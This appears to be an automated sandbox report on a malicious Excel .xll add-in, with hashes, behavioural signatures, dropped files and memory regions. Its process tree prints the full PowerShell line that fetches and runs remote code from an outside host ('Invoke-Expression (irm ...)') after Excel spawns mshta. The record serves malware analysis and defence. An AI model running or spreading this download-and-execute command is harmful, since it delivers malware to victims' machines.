Analysis

  • max time kernel
    138s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 20:00

General

  • Target

    f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33.xll

  • Size

    12KB

  • MD5

    662e92bda0142a38ed777f475d431a25

  • SHA1

    a3890d18e882d5efc273825493a572a8e78946f9

  • SHA256

    f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33

  • SHA512

    6d392b4f8956d970b2c9ac9cd7c3d26e6f76b1fad82bc273adc02edb37947614462f54014b73de9f4ab9e93eaedf318e189869f353abb2707cba2ee8565f73fc

  • SSDEEP

    192:nBL29RBzDzeobchBj8JONmON4nruurEPEjr7AhN:R29jnbcvYJObMuuvr7CN

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3348
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2740
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4108

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\79ZXHV21\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gqoh4aiw.lmx.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33.xll

    Filesize

    12KB

    MD5

    662e92bda0142a38ed777f475d431a25

    SHA1

    a3890d18e882d5efc273825493a572a8e78946f9

    SHA256

    f072a78a6a1bdfa4bbf17e1fbbd0c7af3dd9df84c83baa21651feb464429ba33

    SHA512

    6d392b4f8956d970b2c9ac9cd7c3d26e6f76b1fad82bc273adc02edb37947614462f54014b73de9f4ab9e93eaedf318e189869f353abb2707cba2ee8565f73fc

  • memory/3348-17-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-89-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-6-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-3-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-1-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-9-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-10-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-8-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-11-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-15-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-14-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-16-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-13-0x00007FFCBC190000-0x00007FFCBC1A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-19-0x00007FFCBC190000-0x00007FFCBC1A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-18-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-21-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-20-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-0-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-12-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-7-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-91-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/3348-5-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-90-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-88-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-87-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-4-0x00007FFCFE9AD000-0x00007FFCFE9AE000-memory.dmp

    Filesize

    4KB

  • memory/3348-2-0x00007FFCBE990000-0x00007FFCBE9A0000-memory.dmp

    Filesize

    64KB

  • memory/3348-71-0x00007FFCFE910000-0x00007FFCFEB05000-memory.dmp

    Filesize

    2.0MB

  • memory/4108-61-0x0000000006360000-0x000000000637E000-memory.dmp

    Filesize

    120KB

  • memory/4108-62-0x00000000063A0000-0x00000000063EC000-memory.dmp

    Filesize

    304KB

  • memory/4108-63-0x0000000007BA0000-0x000000000821A000-memory.dmp

    Filesize

    6.5MB

  • memory/4108-64-0x0000000006880000-0x000000000689A000-memory.dmp

    Filesize

    104KB

  • memory/4108-60-0x0000000005D70000-0x00000000060C4000-memory.dmp

    Filesize

    3.3MB

  • memory/4108-49-0x0000000005660000-0x00000000056C6000-memory.dmp

    Filesize

    408KB

  • memory/4108-48-0x00000000053C0000-0x00000000053E2000-memory.dmp

    Filesize

    136KB

  • memory/4108-47-0x00000000056D0000-0x0000000005CF8000-memory.dmp

    Filesize

    6.2MB

  • memory/4108-46-0x0000000002D90000-0x0000000002DC6000-memory.dmp

    Filesize

    216KB

  • memory/4108-50-0x0000000005D00000-0x0000000005D66000-memory.dmp

    Filesize

    408KB